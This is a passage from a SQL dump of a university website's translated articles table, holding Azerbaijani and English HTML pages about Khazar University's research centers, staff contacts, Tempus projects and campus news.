href=\"http://www.bafe.edu.kg/\">Bishkek Academy of Finance and Economics</a></p><p><a href=\"http://www.ednet.edu.kg/\">Education Network Association</a></p><p><a href=\"http://edu.gov.kg/\">Ministry of Education and Science of Kyrgyz Republic</a></p><p><a href=\"http://www.nsu.ktnet.kg/\">Naryn State University</a></p><p><a href=\"http://www.dsx.tj/\">Tajik Institute of Entrepreneurship and Services&nbsp;&nbsp;</a></p><p><a href=\"http://www.tnu.tj/index.php/en\">Tajik National University</a>&nbsp;</p><p><a href=\"http://www.tut.tj/\">Technological University of Tajikistan</a></p><p><a href=\"http://www.maorif.tj/russkiy.htm\">Ministry of Education of Republic of Tajikistan</a></p><p><a href=\"http://www.wip.wiwi.uni-due.de/en\">Universitaet Duisburg - Essen</a></p><p><a href=\"http://www.crui.it/english\">CRUI - Conference of Italian University Rectors</a></p><p><a href=\"http://www.cineca.it/en\">Consorzio inter-universitario calcolo automatico italiano N.O.</a></p><p><a href=\"http://www.stuba.sk/english.html?page_id=132\">Slovak University of Technology in Bratislava</a></p><p><a href=\"http://www.ua.es/en\">University of Alicante</a></p><p><strong>2008</strong></p><p>Tempus layihəsi çərçivəsində təşkil olunan \"Azərbaycan Universitetlərində Keyfiyyətin Təminatı Sistemlərinin Yaradılması\" layihəsi ilə&nbsp;Bakı Dövlət Universiteti və Azərbaycan Dillər Universitetində Keyfiyyətin Təminatı Mərkəzlərinin&nbsp;yaradılması&nbsp;Xəzər Universitetindəki Keyfiyyətin Təminatı Mərkəzinin fəaliyyətini&nbsp;inkişaf etdirdi.&nbsp;</p><p>Winchester Universiteti (İngiltərə), Carlos III Universiteti (İspaniya) və Varşava Universiteti (Polşa) ilə sıx əməkdaşlıq Azərbaycanda&nbsp;keyfiyyətin təminatı sahəsində&nbsp;təlim, nəzarət&nbsp;və&nbsp;ekspert dəstəyi ilə&nbsp;nəticələnmişdir.</p><p><strong>1999-2001</strong></p><p>\"The Tempus Tacis Compact\" tərəfindən təşkil olunan \"Xəzər Universitetində Keyfiyyətin Təminatı Mərkəzinin İnkişafı\" layihəsi Nottingham Trent Universiteti (İngiltərə) və Haarlem Universitetinin (Hollandiya) əməkdaşlığı ilə həyata keçirilmişdir.  </p>'),(238,108,'az','Tərcümə Araşdırmaları Mərkəzi','Tərcümə Araşdırmaları Mərkəzi','<div><p><strong>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi&nbsp;</strong>27 aprel 2000-ci ildə yaradılmışdır. Mərkəzin əsas məqsədi akademik, bədii, fəlsəfi və texniki əsərləri müxtəlif müasir dillərdən Azərbaycan dilinə çevirməkdir. Azərbaycan mədəniyyətinin bir çox qiymətli nümunələrinin də başqa dillərə tərcüməsi nəzərdə tutulur. Mərkəz&nbsp; tərcümənin tədqiqi və tədrisi işlərinə də cəlb olunur.</p><p>Tərcüməçilik tədqiqatın fərqli sahələrində çalışan alimlər arasında əməkdaşlıq üçün imkanların yaranmasına səbəb olaraq özlüyündə bənzərsiz bir tədqiqat formalaşdırır.</p><p>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi artıq tədqiqatçıların və tələbələrin təhsil aldıqları və tərcüməçiliklə məşğul olduqları elmi orqana çevrilib.</p><p>Tərcümə Araşdırmaları Mərkəzi peşəkar tərcüməçilərlə yanaşı gənc tərcüməçiləri də mərkəzin işlərinə cəlb edir, tərcümənin müxtəlif sahələrinə dair nəzəri-praktik konfranslar keçirir.&nbsp; Mərkəz həmçinin&nbsp;&nbsp; Dilçilik, Ədəbi tərcümə, Tərcümə və poeziya, Tərcümə nəzəriyyəsi və vasitələri və sairə kimi mövzularda müzakirələr aparır.</p><p>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi təlimlər vasitəsilə tələbələrə peşəkar dil bacarıqlarını artırmağa və istifadə etməyə imkan verir.</p><p>Tərcümə Araşdırmaları Mərkəzi universitetin digər akademik və araşdırma mərkəzləri ilə yaxından əməkdaşlıq edir. &nbsp;Mərkəz təkcə bədii tərcümə deyil, kommersiya və hüquqi tərcümə ilə də məşğul olur.</p><p>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi Xəzər Universitetinin Nəşriyyatı ilə birlikdə&nbsp; bir neçə layihəsini həyata keçirir. Bu layihələrin bir qismi ABŞ-ın maliyyə dəstəyi ilə həyata keçirilir.</p><p>Tərcümə olunan kitabların siyahısına aşağıdakılar daxildir:</p><ul><li>Tadeuş Svietochoivski “Rusiya və Azərbaycan: sərhədyanı keçid\"</li><li>M. L. Stein, Susan Paterno “Müxbirin məlumat kitabçası: jurnalistikaya giriş \"</li><li>Ray Eldon Hiebert, Donald F. Ungurait, Thomas W. Bohn \"KİV: müasir kommunikasiyaya giriş\".</li><li>Hovard Cincotta, Deborah Conn, Serena Kim, Megan Loftus \"Amerika müsəlmanları\"</li></ul><p>Mərkəzin tərcüməçiləri hal-hazırda Hafiz Paşayevin \"Yuxarılara qədər qalxarkən\" əsərinin üzərində işləyirlər.</p><p>Yeni tərcümə layihəsi 2005-ci ildə başlamışdır. &nbsp;Tərcüməçi qrup o cümlədən Hamlet İsaxanlı tərəfindən hazırlanan \"Poetik tərcümələr: 1-ci Toplu\"-su nəşr edilmişdir.</p></div><div><br></div>'),(239,109,'az','Kitabxana İnformasiya Mərkəzi','Kitabxana İnformasiya Mərkəzi','<p><a href=\"http://library.khazar.org/index-az.html\">Kitabxana İnformasiya Mərkəzi</a></p>'),(240,110,'az','Multimedia Mərkəzi','Multimedia Mərkəzi','<p><strong><img src=\"/files/multimedia/logo.png\" style=\"border:0px  #000000;width:150px;height:148px;margin:7px;float:left\"><br></strong></p><p><strong><br></strong></p><p><a href=\"https://www.facebook.com/kumultimediacenter/\" target=\"_blank\"><strong>Multimedia&nbsp;Mərkəzi</strong></a>&nbsp;1994-cü ildə  Xəzər Universitetində yaradılmışdır.</p><p><br></p><p><br></p><p><strong>Mərkəzin əsas fəaliyyəti aşağıdakılardan ibarətdir:</strong></p><p>-&nbsp;Universitetlə bağlı tədbir və mərasimlərdə foto-video çəkilişin təmin edilməsi.  </p><p>- Faktla&nbsp;bağlı portret və peyzaj şəkili və video-materialların toplanılması&nbsp;və sifariş edilməsi.</p><p>- Lentə alınmış foto-video materialların montaj edilərək ictimaiyyətə təqdim edilməsi.</p><p>- İşıqlandırılmış və montaj edilmiş materialların arxivləşdirilməsi.</p><p>-&nbsp;Media sahəsinə maraq göstərən tələbələrə təlimlərin keçirilməsi.</p><p><br></p><p><img src=\"http://www.khazar.org/files/multimedia/square-facebook-512.png\" style=\"border:0px  #000000;float:left;width:30px;height:30px;margin:7px\"></p><p>  <a href=\"https://www.facebook.com/kumultimediacenter/?ref=bookmarks\" target=\"_blank\">Media Center of Khazar University</a></p><p><img src=\"http://www.khazar.org/files/multimedia/MetroUI%20YouTube.ico\" style=\"border:0px  #000000;margin:7px;width:35px;height:35px;float:left\"></p><p><a href=\"https://www.youtube.com/channel/UCk54XSjlo8u5PXtzACWqL6g\" target=\"_blank\">Media Center of Khazar University&nbsp;TV</a></p>  <!-- ELRTE_SCRIPT:script4303027984344534 -->'),(2250,1375,'az','AzərTAc “Xəzər”dən yazdı','Xəbər verildiyi kimi, Xəzər Universitetinin neft-qaz mühəndisliyi departamentinin müdiri, “eiLink” Tədqiqat və İnkişaf Mərkəzinin direktoru Qəşəm Zeynalov...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbər\r\nverildiyi kimi, Xəzər Universitetinin neft-qaz mühəndisliyi departamentinin\r\nmüdiri, “eiLink” Tədqiqat və İnkişaf Mərkəzinin direktoru Qəşəm Zeynalov və\r\ndepartamentin müəllimləri Birləşmiş Ərəb Əmirliyinin Dubay şəhərində keçirilən\r\nBeynəlxalq Neft Mühəndisləri Cəmiyyətinin illik texniki konfransında və sərgisində\r\n(<em>SPE Annual Technical Conference and Exhibition</em>) iştirak etmişlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu\r\nhaqda, Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc) rəsmi İnternet səhifəsində\r\nməlumat yaymışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universiteti_beynelxalq_elaqelerini_genislendirir-998078\">http://azertag.az/xeber/Xezer_Universiteti_beynelxalq_elaqelerini_genislendirir-998078</a>.&nbsp;</p>'),(2251,1375,'en','AzerTaj Publishes Material about Khazar ','As we previously reported, Associate Professor Gasham Zeynalov, Head of the Department of Petroleum Engineering at Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">As\r\nwe previously reported, Associate Professor Gasham Zeynalov, Head of the\r\nDepartment of Petroleum Engineering at Khazar University, and other department\r\ninstructors participated in the Annual Technical Conference and Exhibition of\r\nthe Society of Petroleum Engineers in Dubai, UAE. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">AzerTaj\r\n(Azerbaijan State Information Agency) posted information about this on its\r\nofficial website. The full text of the article is available at this link: <a href=\"http://azertag.az/xeber/Xezer_Universiteti_beynelxalq_elaqelerini_genislendirir-998078\">http://azertag.az/xeber/Xezer_Universiteti_beynelxalq_elaqelerini_genislendirir-998078</a>.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1701,1057,'en','  Training Seminar in Lankaran as part of ESFIDIP Tempus Project','On April 29-30, 2016, a training seminar was held at Lankaran State University as part of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project.','<p>On April 29-30, 2016, a training seminar was held at Lankaran State University as part of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project. The main goal of the training was to inform Lankaran State University staff members, instructors and students about disabilities and their characteristics, related legislation, inclusive education, teaching methods, and ethical treatment of students with disabilities.</p><p>The training seminar included three parts. The first part was led by Melek Karimova (Assistant Dean of the School of Humanities and Social Sciences at Khazar University) for Lankaran State University instructors; the second part was led by trainer Rima Mammadova (project manager and coordinator for the Center for Students with Disabilities) for university staff members. At the end of the training seminars there was a question-and-answer session, and participants shared their opinions.</p><p>The third portion of the training took place on April 30, Trainers Baybala Ibadullayeva (Vice President of the Union of Organizations for Disabled People), Saraya Safaraliyeva (member of Union of Organizations for Disabled People), and Rima Mammadova taught Lankaran State University students. The students were very interested in the training, which sparked a great deal of discussion. They asked the trainers many questions and made suggestions.</p><p>In the afternoon of the same day, the trainers and Lankaran State University’s project work group (Ramiz Shamammadov, Kamran Kazimov, Aynur Bunyadova, Ulvi Maharramov and Zur Mammadov) met with Professor Nizami Yusubov, Acting Rector of Lankaran State University. Prof. Yusubov greeted the project participants and spoke about recent projects in the university, including current and planned international projects. He noted the importance of the project on a national scale and also stated his expectation that Lankaran State University would become an active center serving the entire southern region.</p>'),(241,111,'az','Xəzər Psixoloji Xidmət Mərkəzi','Xəzər Psixoloji Xidmət Mərkəzi','<p><img src=\"http://www.khazar.org/files/social/16_04_15_DSC_2084.JPG\" style=\"border:0px  #000000;width:250px;height:165px;margin:7px;float:left\"><a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\">https://www.facebook.com/xezer.psixolojixidmet.merkezi</a>  <br></p><p style=\"text-align:justify\">29.02.16 tarixində Xəzər Psixoloji Xidmət Mərkəzinin açılış təqdimatı keçirilmişdir. Təqdimat mərasimində mərkəzin koordinatoru Mələk Kərimova&nbsp; Xəzər Psixoloji Xidmət Mərkəzinin hansı zərurətdən ortaya çıxdığını və hansı xidmətləri nəzərdə tutduğu barədə ətraflı məlumat verdi. O bu mərkəzin&nbsp; tələbələrə və kənar şəxslərə psixoloji xidmət və dəstək vermək üzrə Xəzər universitetinin rektorunun əmri əsasında yaradılan struktur&nbsp;&nbsp;mərkəzlərdən biri olduğunu qeyd etmişdir. Mərkəzin&nbsp; Universitetin nizamnaməsi və daxili qaydaları əsasında fəaliyyət göstərəcəyini bildirən Mələk Kərimova &nbsp;mərkəzdə psixoloji seminarlar, kurslar, təlimlər, konfranslar&nbsp; təşkil ediləcəyini, elmi tədqiqat işləri aparılacağını,&nbsp; universitetin&nbsp; tələbələrinə (ödənişsiz) və eləcə də kənar şəxslərə (ödənişli)&nbsp; psixoloji xidmət&nbsp; və dəstək xidməti&nbsp; veriləcəyini qeyd etmişdir. Prof.Dr. Hamlet İsaxanlı da mərkəzin açılışı ilə əlaqədar ürək sözlərini ifadə etmişdir. Təqdimat mərasimində iştirakçılardan gələn suallar cavablandırılmış və struktur bölmələr arasındakı işbirliyi vurgulanmışdır.&nbsp;Xəzər universiteti nəzdində fəaliyyət göstərən Xəzər Psixoloji Xidmət &nbsp;Mərkəzi (XPXM) 2016-cu ildə yaradılmışdır. Mərkəz Xəzər universitetinin tələbə, müəllim, işçi heyəti ilə yanaşı, respublika səviyyəsində ictimaiyyətə müxtəlif istiqamətlərdə yüksəkkeyfiyyətli xidmətlər təklif edir. PMPM-nin işindən kimlər &nbsp;yararlana bilər:</p><ul><li>İstənilən yaş qrupuna aid olan insanlar;</li><li>Müxtəlif növdə psixoloji problemləri olan şəxslər;</li><li>Şirkətlər və korporasiyalar (fərdi və ya qrup halında seanslar)</li></ul><p style=\"text-align:justify\">Psixoloji Məsləhət və Psixoterapiya Mərkəzində işləyən mütəxəssislə&nbsp;&nbsp;Avropa və ABŞ-da təhsil almış peşəkar psixoloqlardır. Bununla yanaşı, tez-tez xarici ölkələrdən dəvət olunmuş peşəkar psixoloqlar, mütəxəssislər bu mərkəzdə psixoloji məsləhət və psixoterapiya seansları keçirirlər. PMPM-ə müraciət edən şəxslərlə bağlı məlumatların tam anonim saxlamasına zəmanət verilir.&nbsp;</p><p>PMPM-də müxtəlif psixoloji və sosial problemlərlə üzləşən insanlara aşağıdakı istiqamətlərdə yardım göstərilir:&nbsp;</p><ul><li>İnsanlarla münasibətdə yaranan p<img src=\"/files/psycho_depart/16_04_15_DSC_2072.JPG\" style=\"float:right;width:250px;height:165px\">roblemlər</li><li>Təhsillə bağlı problemlər</li><li>Peşə planlaması</li><li>Cinsi terapiyalar</li><li>Fiziki və cinsi təcavüz</li><li>Qəzəbin öhdəsindən gəlmə</li><li>Stress</li><li>Depressiya</li><li>Panika</li><li>Həyəcan və qorxu (fobiyalar)</li><li>Məktəb və iş yerində yaranan problemlər</li><li>Imtahan həyəcanı</li><li>Sosial fobiya&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li><li>IQ testlər</li><li>Bununla yanaşı mərkəz bir sıra digər işləri də həyata keçirir:&nbsp;</li><li>Konfransların təşkili və psixologiyanın müxtəlif sahələrində tədqiqatlar aparmaq;</li><li>Psixologiya elminə töhfələr vermək</li><li>Psixologiya ixtisası üzrə təhsil alan tələbələr üçün tədris və təcrübə imkanları yaratmaq</li></ul><h3><br></h3><h3>Əlaqə</h3><p><img src=\"http://www.khazar.org/files/social/foto/melek.JPG\" style=\"border:0px  #000000;margin:0px 7px 7px;float:left;width:150px;height:155px\"><strong><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\">Mələk Kərimova</a></strong></p><p style=\"font-weight:bold\"><strong>Xəzər Psixoloji Xidmət Mərkəzinin direktoru</strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <a href=\"http://mkerimova@khazar.org\"></a></p><p><strong>Telefon</strong>:&nbsp;(+994&nbsp;12) 421 10 93 (275)&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(242,112,'az','Layihələrin İdarəolunması Mərkəzi','Layihələrin İdarəolunması Mərkəzi','<div><br></div><div> <div><p><strong><img src=\"http://www.khazar.org/files/demo/DSC_0022.jpg\" style=\"float:left;width:200px;height:132px;margin:7px\">Layihələrin idarə olunması məktəbi&nbsp;</strong>&nbsp;</p><p>Layihələrin idarə olunması məktəbi Azərbaycanda layihə idarə etmək təcrübəsinin və qabiliyyətinin inkişaf etdirilməsi məqsəilə BP və onun neft və qaz tərəfdaşları tərəfindən yaradılmış və Xəzər Universiteti və Amerikanın Beynəlxalq Təhsil Xidmətləri İnstitutu tərəfindən həyata keçirilir. Məktəb 2011-ci ilin 28 yanvarında fəaliyyətə başlayıb, aparıcı özəl, ictimai və beynəlxalq təşkilatların, eləcə də yerli biznes nümayəndələri&nbsp; üçün açıqdır.Layihələrin İdarə olunması Məktəbi bu təşkilatların bütün işçiləri üçün Beynəlxalq Təhsil Xidmətləri İnstitutunun dünya səviyyəli müəllimləri tərəfindən tədris edilən yeddi fəndən ibarət təlim proqramını təklif edir. Məktəbinin məqsədlərindən biri də məhz &nbsp;xarici təcrübəli müəllimlərinin köməyi ilə gələcəkdə bu proqram üzrə nəzərdə tutulan fənləri tədris edə biləcək yerli kadrların hazırlanmasıdır.</p><div style=\"background:undefined\"><div><br></div></div></div><br></div>'),(2023,1229,'en','U.S. Ambassador Robert F. Cekuta Meets with Team Imagine of Khazar University','On June 22, 2016, the U.S. Ambassador Robert F. Cekuta met with five members of Team Imagine and the team leader...','<p style=\"\" text-align:justify;text-indent:.25in\"=\"\">On June 22, 2016, the U.S. Ambassador\r\nRobert F. Cekuta met with five members of Team Imagine and the team leader who\r\nwould travel to the USA this week. The\r\nImagine team was selected as one of the top teams for the campaign they designed\r\nand implemented within their participation in the Peer-to-Peer (P2P):\r\nChallenging Extremism Program. Participation of Khazar University’s team in the\r\nP2P Program is coordinated jointly by the International Affairs Office and the\r\nSchool of Economics and Management.</p>\r\n<p>&nbsp;</p>\r\n<p>Participants\r\nof the meeting from the U.S. Embassy included Mr.&nbsp;Stephen Guice, Public Affairs Officer,&nbsp;Ms. Amy Petersen,\r\nCultural Affairs Officer,&nbsp;Mr. Wilke Nelson, Social Media\r\nSpecialist,&nbsp;Ms. Venera Aliyeva, Administrative assistant, and&nbsp;Ms.\r\nSabina Abdullayeva, Alumni Outreach Coordinator.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>After\r\na brief introduction, Team Imagine gave an overview of their campaign to\r\nAmbassador Cekuta. He greatly appreciated the concept, and congratulated the\r\nteam with this distinguished achievement.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Ambassador\r\nCekuta expressed his best wishes for final presentation in Washington, D.C. and\r\nasked the team members to enjoy their time in United States. Team Leader, Ms.\r\nSana Imran,&nbsp;extended gratitude to the ambassador for the encouragement and\r\nsupport rendered to Team Imagine. At the end of the meeting, a group\r\nphoto with Ambassador Cekuta was taken.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>The\r\nmeeting was highlighted in a post on the official Facebook page of the U.S.\r\nEmbassy in Azerbaijan: <a href=\"https://www.facebook.com/baku.usembassy/\">https://www.facebook.com/baku.usembassy/</a><strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>Pictures\r\nfor this news story were provided by the U.S. Embassy in Azerbaijan.&nbsp;</p>'),(243,113,'az','Peşə Mərkəzi','Peşə Mərkəzi','<p><strong style=\"text-align:justify\">Peşə Mərkəzinə xoş gəlmişsiniz!</strong></p><p style=\"text-align:justify\">Peşə mərkəzi bakalavr və magistr tələbələrinə,\r\nməzun və ya sahibkarlara təcrübə toplamaqda və iş tapmaqda, karyera inkişafında\r\nvə seçimində, və profesional proseslərdə yardım göstərir.</p>\r\n<p style=\"text-align:justify\">Biz sizə&nbsp;rezyume və motivasiya məktublarının yazılmasına\r\ndair seminarlar, müsahibə və praktik məşğələlər, karyera seçimində məsləhət,\r\nliderlik və sahibkarlıq mövzusunda geniş tədbirlər, əmək yarmarkaları və\r\nişgüzar görüşlər təklif edirik.&nbsp;</p>  <p style=\"text-align:justify\">Bu səhifədə siz bizim missiyamız, göstərdiyimiz xidmətlər, karyera inkişafı, iş və təcrübə proqramları və&nbsp;digər məlumatlar əldə edə bilərsiniz!</p><p><strong><img src=\"/files/career/fb.png\" style=\"width:30px;height:36px;margin-right:4px;float:left\">Bizi\r\nFacebookda izləyin: </strong><strong><a href=\"https://www.facebook.com/KhazarUniversityCareerCenter/\">Xəzər Universiteti&nbsp;Peşə Mərkəzi</a></strong></p><p><br></p><p><br></p>'),(3326,1953,'en','Our Staff','Our Staff','<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Sabina Allahveranova</a></strong></p><p><strong><strong>Manager of Career Center</strong>  </strong></p><p>BS in International Relations (Girne&nbsp;American&nbsp;University, TRNC, Cyprus)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Phone</strong>: (+994 12) 421 79 16&nbsp;(212)  <br></p>  <p><br></p><p><br></p><p><br></p>'),(3327,1953,'az','İşçi heyət','İşçi heyət','<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Səbinə Allahverənova</a></strong></p><p><strong>Peşə Mərkəzinin Meneceri</strong></p><p>Beynəlxalq Əlaqələr üzrə bakalavr (Girne American&nbsp;University,&nbsp;ŞKTR, Kipr)&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Telefon</strong>: (+994 12) 421 79 16&nbsp;(212)  <br></p>  <p><br></p><p><br></p><p><br></p>'),(3351,1964,'en','International students visit Maiden Tower','On March 4, 2017, as organized by the Department of History and Archaeology and instructor Saida Izmailova, international students of the university took a field trip to the...','<p>On March 4, 2017, as organized by the Department of\r\nHistory and Archaeology and instructor Saida Izmailova, international students\r\nof the university took a field trip to the Maiden Tower.</p>\r\n<p>Saida Izmailova spoke about the history of the Maiden\r\nTower; she also gave extensive information about Maiden Towers located across\r\nCentral Asia to the shores of the Mediterranean. The students took a tour of\r\nthe tower exhibits located on every floor, and they were given information\r\nabout&nbsp;the&nbsp;ancient Azerbaijani state-Caucasian&nbsp;Albania</p>\r\n<p>A group photo was taken in front of the Maiden\r\nTower.&nbsp;</p>'),(244,114,'az','Məzunlarla Təşviqat Mərkəzi','Məzunlarla Təşviqat Mərkəzi',''),(245,115,'az','Hüceyrə Patologiyası Tədqiqat Mərkəzi','Hüceyrə Patologiyası Tədqiqat Mərkəzi','');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (246,17,'az','Magistratura, Doktorantura və Elmi İşlər Şöbəsi','Magistratura, Doktorantura və Elmi İşlər Şöbəsi','<p><strong>Yaranma tarixi</strong></p><p><strong></strong>Magistratura, Doktorantura və Elmi işlər bölməsi Rektorun T/16 nömrəli 2 aprel 2011-ci il tarixli əmrinə əsasən, kadr hazırlığı spektrini genişləndirmək, habelə tədqiqat işlərinin təkmilləşdirilməsi və idarə edilməsi məqsədilə yaradılmışdır.</p><div><p><strong>Missiyası</strong></p><p>Magistratura, Doktorantura və Elmi işlər bölməsinin missiyası iki mühüm məsələni əhatə edir:</p><ul><li>Magistratura və doktorantura təhsili sahəsində işlər</li><li>Tədqiqat sahəsində işlər</li></ul><p><strong>&nbsp;</strong></p><p><strong>Magistratura və doktorantura təhsili ilə bağlı şöbənin vəzifələri&nbsp;<br></strong></p><ul><li>Magistratura, Doktorantura və Elmi İşlər bölməsi üçün web səhifənin hazırlanması</li><li>Bütün magistr və doktorant tələbələr və məzunlar üçün məlumat bazasının yaradılması</li><li>Tezis və dissertasiya yazılması haqqında təlimatlar hazırlamaq və onların saxlanılmasını təmin etmək</li><li>Magistr və Fəlsəfə doktoru proqramları barədə elanlar vermək &nbsp;və bunu müvafiq şəkildə əlaqələndirmək</li><li>Magistr və Doktorant tələbələrin tədqiqat orientasiyasına köməklik etmək</li><li>Fakültə dekanları ilə hər bir dərəcə proqramı üçün fəaliyyət göstərən komissiya və komitələri əlaqələndirmək</li><li>Fakültə dekanları ilə əməkdaşlıq edərək&nbsp; Magistratura, Doktorantura və Elmi İşlər bölməsinin işini təşkil etmək</li><li>Fakültə dekanları ilə birlikdə qəbul prosedurları hazırlamaq və elanlar vermək</li><li>Fakültə dekanları ilə birlikdə tezis və dissertasiya müdafiə komitələri ilə əməkdaşlıq etmək</li><li>Magistr və Doktroant tələbələr üçün məsləhət saatları təşkil etmək</li><li>Kurrikulumların hazırlanmasında fakültə dekanları ilə əməkdaşlıq etmək</li><li>Azərbaycanda magistr proqramlarının inkişaf etdirilməsinə dəstək göstərilməsi</li><li>Beynəlxalq magistr və doktorantların qəbulu</li><li>Bütün proqram və prosedurların Təhsil Nazirliyi ilə əlaqələndirilməsi</li><li>Magistratura, doktorantura təhsilinin innovasiyasında lider rolunu oynamaq, tələbələr üçün mükafatlar, mümkün maliyyə mənbələri tapmaq</li><li>Magistr, doktorant məzunların işləri ilə bağlı Universitet İnkişaf direktoru ilə əməkdaşlıq etmək</li><li>Nazirlik tərəfindən təşkil olunmuş və digər ictimai forumlarda universiteti təmsil etmək</li><li>Müvafiq milli və beynəlxalq qurumlarda iştirak etməklə universiteti təmsil etmək</li><li>Universitet rəhbərliyi, nazirlik, və s. üçün bütün lazımi hesabatların hazırlanması</li><li>Magistr və doktorantlar üçün beynəlxalq imkanların inkişaf etdirilməsi</li><li>Magistr və doktorantların&nbsp; məzunluq mərasimlərinin əlaqələndirilməsi</li></ul><p>&nbsp;</p><p>&nbsp;<strong>Tədqiqatla</strong><strong>&nbsp;bağlı şöbənin vəzifələri&nbsp;<br></strong></p><ul><li>Universitetin akademik heyəti arasında orijinal tədqiqat və təqaüd proqramlarının inkişaf etdirmək</li><li>Universitetin müəllim heyətinə qrantlar və digər mümkün tədqiqatlara qoşulmaqda dəstək vermək</li><li>Qazanılmış qrantların idarə olunmasında uyğun qurumlara yardım etmək</li><li>Bakalavr dərəcəsi üçün tədqiqatları dəstəkləmək və inkişaf etdirmək</li><li>Elmi konfransların təşkilində, fakültə və departamentlərlə birgə iş aparmaq</li><li>Cəmiyyətdə ehtiyac duyulan sahələrdə tədqiqatların aparılmasını (məsələn, neft sənayesi, enerji, özəl sektor, və s.) müəyyən etmək üçün dekanlarla birgə iş aparmaq</li><li>Universitetin nailiyyətləri və tədqiqat fəaliyyəti ilə bağlı elanlar hazırlamaq</li><li>Bütün müəllim və tələbələrə aid elmi nəşrlər, qrantlar və digər tədqiqat yönümlü fəaliyyətlərin qeydiyyatını aparmaq və saxlamaq</li><li>Universitet rəhbərliyi və nazirlik üçün bütün lazımi hesabatlar hazırlamaq</li><li>Tədqiqata dəstək potensialının inkişaf etdirilməsi ilə bağlı kitabxana ilə birgə iş aparmaq</li><li>Tədqiqatların &nbsp;uğurla həyata keçirilməsi üçün zəruri hallarda müvafiq milli və beynəlxalq qurumlarda iştirakı təmin etmək.&nbsp;</li></ul></div>'),(3741,2167,'en','“Love Legend of Seven Beauties (“Yeddi gözəl əfsanəsi”) Performance','On May 8 , 2017, the play “Yeddi gözəlin sevgi əfsanəsi” “Legend of Seven Beauties” based on Nizami’s “Yeddi gözəl”( “Seven Beauties” ) was played at “Dunya” concert  within...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">On May 8&nbsp;, 2017,\r\nthe play “Yeddi gözəlin sevgi əfsanəsi” <strong>“Legend of Seven Beauties” </strong>based\r\non Nizami’s “Yeddi gözəl”( “<strong>Seven Beauties”\r\n)</strong> was played at “Dunya” concert&nbsp; within\r\nthe framework of the project “Preparing plays on the basis of classic works” of\r\nKhazar University. The first performance- “Leyli Məcnun və məhəbbət” (“Leyili\r\nMajnun and Love”) based on Fizuli’s “Leyli və Məcnun” (“Leyili and Majnun”) &nbsp;was played in December, 2016.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">The administration\r\nof Khazar University, students from “Khazar” and from the other universities,\r\nparents, guests and also Rosa Jalilova and Jamila Bayramova; People’s\r\nArtists,famous dancers participated at the event.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">The director of\r\nthe play was the dance teacher of Khazar University Sabina Ismayilova.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">The performance\r\nwas prepared with the participation of student girls’ and boys’ dance ensemble\r\nof Khazar University and also with the coordination of the winners of “ Student\r\nSpring” art festival organized by the Ministry of Youth and Sports and\r\nAzerbaijan Student Youth Organizations’ Union from the other universities (Azerbaijan\r\nState Economic University, Azerbaijan State 